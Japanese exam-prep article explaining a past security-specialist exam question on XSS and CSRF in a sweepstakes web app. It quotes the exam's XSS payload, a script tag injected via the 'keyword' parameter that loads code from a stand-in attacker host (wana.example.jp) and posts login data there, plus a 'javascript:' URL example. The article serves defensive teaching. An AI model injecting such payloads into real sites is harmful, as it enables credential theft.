情報処理安全確保支援士試験 完全制覇への道 11

セキュアなWebアプリケーションについて

棚橋 英之

2018年4月9日 6:00

目次

  1. はじめに
  2. Webシステムに関する問題 本連載でも、Webシステムに関する項目を何度か扱っています。第2回では、攻撃手法の観点でWebアプリケーションの脆弱性やSSLについてまとめました。また、第4回では「Webサーバーのセキュリティ」と題して、試験で問われる傾向をまとめています。これらの解説も是非、見直してみてください。 なお、第4回でも紹介していますが、IPAの「安全なウェブサイトの作り方」 では、Webサイトを安全に維持するための方法が詳しくまとめられています。試験で問われるWebアプリケーションの様々な脆弱性や対策も確認できるため、こちらも是非確認しておきましょう。 表1~3に過去8回分のWebシステムに関連する問題をまとめました。午前試験、午後試験と万遍なく出題されますので、頻出テーマは確実に押さえておきましょう。
    表1:午前Ⅱ試験 Webシステムに関連する問題 実施時期 テーマH29 秋問14 セッションハイジャックの対策H29 春問2 SSL/TLSのダウングレード攻撃
    問5 セッションIDの固定化(Session Fixation)攻撃
    問11 MITB(Man-in-the-Browser)攻撃の対策
    問12 OSコマンドインジェクションH28 秋問3 POODLE攻撃
    問9 Cookieのsecure属性
    問17 SQLインジェクションの対策H28 春問21 SQLインジェクションH27 秋問12 クロスサイトスクリプティングの対策
    問13 Cookieのsecure属性H27 春問17 SQLインジェクションの対策
    問20 HTTPのヘッダ部H26 秋※該当なしH26 春問10 Cookieのsecure属性
    問15 OSコマンドインジェクション
    問16 WAF(Web Application Firewall)
    問17 SSLに対するバージョンロールバック攻撃
    表2:午後Ⅰ試験 Webシステムに関連する問題 実施時期 テーマとキーワードH29 秋問2 XSS、SQLインジェクション、Cookie など
    問3 SSL/TLS、POODLE攻撃 などH29 春問2 XSS、Cookie、CSRF、セッションハイジャック などH28 秋※該当なしH28 春問1 XSS、CSRF、Same Origin Policy などH27 秋問1 Cookie、WAF など
    問3 HTTPステータスコード などH27 春問1 Cookie、XSS、HTTPヘッダインジェクション、セッションフィクセーション などH26 秋※該当なしH26 春問1 Referer、セッションID、クライアントサイドスクリプト など
    問3 Man-in-the-Browser など
    表3:午後Ⅱ試験 Webシステムに関連する問題 実施時期 テーマとキーワードH29 秋※該当なしH29 春問1 HTTPS通信 などH28 秋問2 SQLインジェクション、CGI、クロスオリジン、同一生成元ポリシ、WAF などH28 春問2 User-agent、DLLインジェクション などH27 秋※該当なしH27 春問1 Webフォームと正規表現 などH26 秋問1 HTTPステータスコード、Cookie など
    問2 SQLインジェクション、セキュリティ診断、DOMベースのXSS、クリックジャッキングHSTS などH26 春問2 HTTPSのクライアント認証 など
  3. Webアプリケーションに関する過去問題
  4. おわりに

はじめに

本連載も、今回で最終回となります。試験本番(平成30年4月15日(日))まで時間もあとわずかとなり、皆さんも最後の詰めを行っている時期かと思います。最後まで気を抜かず、知識や考え方の強化を図っていきましょう。

今回は、Webシステム、特にWebアプリケーションに関する問題について解説します。

Webシステムに関する問題

本連載でも、Webシステムに関する項目を何度か扱っています。第2回では、攻撃手法の観点でWebアプリケーションの脆弱性やSSLについてまとめました。また、第4回では「Webサーバーのセキュリティ」と題して、試験で問われる傾向をまとめています。これらの解説も是非、見直してみてください。

なお、第4回でも紹介していますが、IPAの「安全なウェブサイトの作り方」 では、Webサイトを安全に維持するための方法が詳しくまとめられています。試験で問われるWebアプリケーションの様々な脆弱性や対策も確認できるため、こちらも是非確認しておきましょう。

表1~3に過去8回分のWebシステムに関連する問題をまとめました。午前試験、午後試験と万遍なく出題されますので、頻出テーマは確実に押さえておきましょう。

表1:午前Ⅱ試験 Webシステムに関連する問題

実施時期テーマ
H29 秋問14 セッションハイジャックの対策
H29 春問2 SSL/TLSのダウングレード攻撃
問5 セッションIDの固定化(Session Fixation)攻撃
問11 MITB(Man-in-the-Browser)攻撃の対策
問12 OSコマンドインジェクション
H28 秋問3 POODLE攻撃
問9 Cookieのsecure属性
問17 SQLインジェクションの対策
H28 春問21 SQLインジェクション
H27 秋問12 クロスサイトスクリプティングの対策
問13 Cookieのsecure属性
H27 春問17 SQLインジェクションの対策
問20 HTTPのヘッダ部
H26 秋※該当なし
H26 春問10 Cookieのsecure属性
問15 OSコマンドインジェクション
問16 WAF(Web Application Firewall)
問17 SSLに対するバージョンロールバック攻撃

表2:午後Ⅰ試験 Webシステムに関連する問題

実施時期テーマとキーワード
H29 秋問2 XSS、SQLインジェクション、Cookie など
問3 SSL/TLS、POODLE攻撃 など
H29 春問2 XSS、Cookie、CSRF、セッションハイジャック など
H28 秋※該当なし
H28 春問1 XSS、CSRF、Same Origin Policy など
H27 秋問1 Cookie、WAF など
問3 HTTPステータスコード など
H27 春問1 Cookie、XSS、HTTPヘッダインジェクション、セッションフィクセーション など
H26 秋※該当なし
H26 春問1 Referer、セッションID、クライアントサイドスクリプト など
問3 Man-in-the-Browser など

表3:午後Ⅱ試験 Webシステムに関連する問題

実施時期テーマとキーワード
H29 秋※該当なし
H29 春問1 HTTPS通信 など
H28 秋問2 SQLインジェクション、CGI、クロスオリジン、同一生成元ポリシ、WAF など
H28 春問2 User-agent、DLLインジェクション など
H27 秋※該当なし
H27 春問1 Webフォームと正規表現 など
H26 秋問1 HTTPステータスコード、Cookie など
問2 SQLインジェクション、セキュリティ診断、DOMベースのXSS、クリックジャッキングHSTS など
H26 春問2 HTTPSのクライアント認証 など

Webアプリケーションに関する過去問題

頻出テーマのXSS(クロスサイトスクリプティング)やCSRF(クロスサイトリクエストフォージェリ)について、過去問題(平成28年度 春期 午後Ⅰ問1)を例に解説します。

・設問1

(1)
〔XSS脆弱性の説明と修正〕のNさんの最初の発言より、「URLパラメタであるkeywordに攻撃用の文字列として<script src=”https://wana.example.jp/Login.js”></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2-2へのリンクを含む電子メールを作成し、被害者に送付します。」とあります。

このリンクをクリックすると、問題の図5のような画面が表示されます。この画面を表示するスクリプト(問題の図6)の4行目に「<form name=”loginForm” action=”https://wana.example.jp/login” method=”post”>」とあるため、ログインボタンを押すと「https://wana.example.jp/login」へ入力データが送信されます。

したがって、解答例は「wana.example.jp」です。

(2)
(1)と同様の問題文中から、リンク先は「https://kensho.m-sha.co.jp/Gamen2-2」です。FQDN(ホスト名+ドメイン名)を問われているのでドメイン名も含めて記載しましょう。

したがって、解答例は「kensho.m-sha.co.jp」です。

(3)
〔XSS脆弱性の説明と修正〕のNさんの3回目の発言より、「攻撃者のコンテンツ内のスクリプトで懸賞システムのコンテンツを参照することができません」とあります。ここでは、どのような仕組みが実装されているため、このような結果になるのかを考えます。

近年のブラウザでは、同一のオリジン(スキーム名、ホスト名、ポート番号)を持つ場合のみ、リソースにアクセスできる仕組みであるSame Origin Policy(同一生成元ポリシ―)が実装されています。

したがって、bの解答は「エ」です。

(4)
〔XSS脆弱性の説明と修正〕のNさんの3回目の発言より、「攻撃者が用意したhttps://wana.example.jp/getFrame.jsというスクリプトで、3行目のフレームの内容を参照することができる」とあります。問題の図7の3行目のフレームの内容を参照するためには、Same Origin Policyをかいくぐるために、4行目で3行目と同一のオリジンを指定する必要があります。また、画面2-2にはXSSの脆弱性があるため、Gamen2-2を活用することが推測されます。すなわち、図1のようにオリジンを同一とするとGamen2-2よりGamen3-7の内容にスクリプトで参照できます。

図1:Same Origin Policyをかいくぐる方法

したがって、cの解答例は「https://kensho.m-sha.co.jp/Gamen2_2」です。

ここで、Gamen2-2にスクリプトを埋め込むためには、入力パラメタに攻撃用の文字列を組み込みます。

〔XSS脆弱性の説明と修正〕のNさんの最初の発言より、「URLパラメタであるkeywordに攻撃用の文字列として~」とあるため、パラメタの名称は「keyword」です。

したがって、dの解答例は「keyword」です。

(5)
画面3-7は登録情報の修正画面です。どのような状況でこの画面の表示内容が窃取されるのかを考えます。

問題の図1の注記2より、「ログインしていない状態で画面3-3~画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる」とあります。すなわち、画面3-7を表示するためには、被害者があらかじめログインしている状態である必要があります。

したがって、解答例は「懸賞メンバとしてログインしている状態」です。

・設問2

(1)
CSRF(クロスサイトリクエストフォージェリ)は、ユーザーがログイン機能を持つWebサイトにログインした状態で攻撃者の用意した罠サイトなどを経由し、ユーザーの意図しない不正なリクエストを強要される攻撃です(図2)。

図2:CSRFの仕組み

CSRFの主な対策には、以下の2つが挙げられます。

  1. リクエストを送る際にランダムな値を生成し、その値をWebサーバー側で検証することで正しいリクエストであるかを確認する
  2. パスワードの変更など、重要な処理を行う際に再度パスワード認証を行う

問題の図8では1.の対策が当てはまります。ランダムな値をhiddenパラメタなどで送信することで、攻撃者はそのランダムな値を入手しない限りCSRFの攻撃を成功させることができません。

したがって、eの解答例は「ランダムな値」、fの解答例は「hidden」です。

(2)
画面遷移時にユーザーから何かしらのパラメタを渡さなければCSRFの対策は不要です。問題の表1より、(あ)(う)(え)(か)(こ)(さ)(せ)が「対策を行わない」画面遷移に該当します。

また、(い)はキーワードを入力して検索結果を表示するだけであり、不正なリクエストを強要されても意図しない検索画面が表示するだけであり、CSRFとしての対策は不要と言えます。ただし、XSSやSQLインジェクションなどの対策は必要です。

一方で、(く)(し)(す)の画面遷移では、ユーザーの登録情報の書き換えにつながるため、CSRFの対策が必要と言えます。

したがって、解答は「ウ」です。

・設問3

(1)
下線②(画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた)より、現状ではWebサーバー側でのチェックが行われていません。この場合、Webブラウザのスクリプトを無効にしたり、検査を行うページ(画面2-1)を経由せず直接次のページ(画面2-2)へアクセスしたりして、Webブラウザでの検査を回避できれば、XSSの攻撃が成立してしまいます。

したがって、解答例は「攻撃者は、画面2-1を経由させずに直接画面2-2へアクセスさせるから」です。

(2)
(1)の問題を解決するために、Webサーバー側で入力値をチェックする必要があります。

したがって、iの解答例は「サーバサイド」です。

(3)
問題の図10(2)(ア)より、「<>&”‘を含まない文字列であっても、HTML内の出力される箇所によっては、XSS脆弱性の原因となる場合があるので、信頼できるデータとはいえない。例えば、  j  を出力する箇所では、XSS脆弱性を防ぐために“javascript:”などの文字列を排除する必要がある」とあります。

XSSでは<script>タグを使ってスクリプトを挿入させることが典型的な例であり、XSSの一般的な対策として、上記の文字列をエスケープすることが有効です。しかし、URLでは「javascript:」で始まる形式を許すとスクリプトを動作させることができます。

例えば、Webブラウザのアドレスバーで「javascript:alert(“warning”)」と入力すると、JavaScriptが動作してアラートウインドウが表示されます。そのため、入力値からURLを出力する場合はhttp、https以外の文字列は許可しないことが望ましいと言えます。

したがって、jの解答例は「URL」です。

XSSの対策は、ユーザーからの入力データを出力する際に、不正な文字列をエスケープすることが重要です。入力データだけではなく、出力データや出力先を十分に意識しましょう。

おわりに

まもなく、試験本番です。一度解いた過去問題を解き直す、参考書や技術書を再確認するなど、ギリギリまで出来ることは色々あると思います。最後まで諦めずに試験対策を進めましょう。

皆様の試験合格を、心よりお祈り申し上げます。

この記事をシェアしてください

人気記事トップ10

人気記事ランキングをもっと見る

企画広告も役立つ情報バッチリ! Sponsored